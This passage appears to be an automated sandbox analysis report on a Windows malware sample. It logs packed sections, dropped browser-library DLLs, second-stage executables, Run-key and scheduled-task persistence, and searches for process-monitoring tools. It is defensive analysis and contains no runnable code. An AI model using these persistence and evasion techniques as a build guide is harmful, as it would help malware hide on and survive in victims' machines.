Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1830912 > 1048576

Source: file.exe

Static PE information: Raw size of uafzsnka is bigger than: 0x100000 < 0x1a5400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2691817996.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2691817996.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: fde0e4bc1c.exe, 0000001D.00000003.2925058901.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, fde0e4bc1c.exe, 0000001D.00000002.3058715203.00000000009F2000.00000040.00000001.01000000.0000000F.sdmp, fde0e4bc1c.exe, 0000001F.00000002.3151433581.00000000009F2000.00000040.00000001.01000000.0000000F.sdmp, fde0e4bc1c.exe, 0000001F.00000003.3111204074.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, fde0e4bc1c.exe, 00000020.00000002.3281564553.00000000009F2000.00000040.00000001.01000000.0000000F.sdmp, fde0e4bc1c.exe, 00000020.00000003.3241228364.0000000002B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.aa0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uafzsnka:EW;hprbfhsa:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uafzsnka:EW;hprbfhsa:EW;.taggant:EW;
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Unpacked PE file: 22.2.DocumentsKJECFHCBKK.exe.280000.0.unpack :EW;.rsrc:W;.idata :W;toqszsru:EW;bemtxewq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;toqszsru:EW;bemtxewq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.190000.0.unpack :EW;.rsrc:W;.idata :W;toqszsru:EW;bemtxewq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;toqszsru:EW;bemtxewq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.190000.0.unpack :EW;.rsrc:W;.idata :W;toqszsru:EW;bemtxewq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;toqszsru:EW;bemtxewq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.190000.0.unpack :EW;.rsrc:W;.idata :W;toqszsru:EW;bemtxewq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;toqszsru:EW;bemtxewq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Unpacked PE file: 26.2.8a46fa4b5e.exe.f10000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uafzsnka:EW;hprbfhsa:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uafzsnka:EW;hprbfhsa:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Unpacked PE file: 29.2.fde0e4bc1c.exe.9f0000.0.unpack :EW;.rsrc:W;.idata :W;yyrvszcp:EW;gtqkfyvh:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Unpacked PE file: 30.2.8a46fa4b5e.exe.f10000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uafzsnka:EW;hprbfhsa:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uafzsnka:EW;hprbfhsa:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Unpacked PE file: 31.2.fde0e4bc1c.exe.9f0000.0.unpack :EW;.rsrc:W;.idata :W;yyrvszcp:EW;gtqkfyvh:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Unpacked PE file: 32.2.fde0e4bc1c.exe.9f0000.0.unpack :EW;.rsrc:W;.idata :W;yyrvszcp:EW;gtqkfyvh:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAC3480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CAC3480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsKJECFHCBKK.exe.0.dr	Static PE information: real checksum: 0x32e0a3 should be: 0x3334d0
Source: file.exe	Static PE information: real checksum: 0x1c3b49 should be: 0x1c4930
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1c3b49 should be: 0x1c4930
Source: skotes.exe.22.dr	Static PE information: real checksum: 0x32e0a3 should be: 0x3334d0

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: uafzsnka
Source: file.exe	Static PE information: section name: hprbfhsa
Source: file.exe	Static PE information: section name: .taggant
Source: DocumentsKJECFHCBKK.exe.0.dr	Static PE information: section name:
Source: DocumentsKJECFHCBKK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsKJECFHCBKK.exe.0.dr	Static PE information: section name: toqszsru
Source: DocumentsKJECFHCBKK.exe.0.dr	Static PE information: section name: bemtxewq
Source: DocumentsKJECFHCBKK.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: uafzsnka
Source: random[1].exe.0.dr	Static PE information: section name: hprbfhsa
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name: toqszsru
Source: skotes.exe.22.dr	Static PE information: section name: bemtxewq
Source: skotes.exe.22.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFB536 push ecx; ret	0_2_6CAFB549
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Code function: 22_2_0029D91C push ecx; ret	22_2_0029D92F
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Code function: 22_2_00291359 push es; ret	22_2_0029135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_001AD91C push ecx; ret	23_2_001AD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_001AD91C push ecx; ret	24_2_001AD92F

Source: file.exe	Static PE information: section name: uafzsnka entropy: 7.953827942683156
Source: DocumentsKJECFHCBKK.exe.0.dr	Static PE information: section name: entropy: 7.08518823061826
Source: random[1].exe.0.dr	Static PE information: section name: uafzsnka entropy: 7.953827942683156
Source: skotes.exe.22.dr	Static PE information: section name: entropy: 7.08518823061826

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKJECFHCBKK.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsKJECFHCBKK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKJECFHCBKK.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fde0e4bc1c.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8a46fa4b5e.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKJECFHCBKK.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsKJECFHCBKK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8a46fa4b5e.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8a46fa4b5e.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fde0e4bc1c.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fde0e4bc1c.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB255F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CB255F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
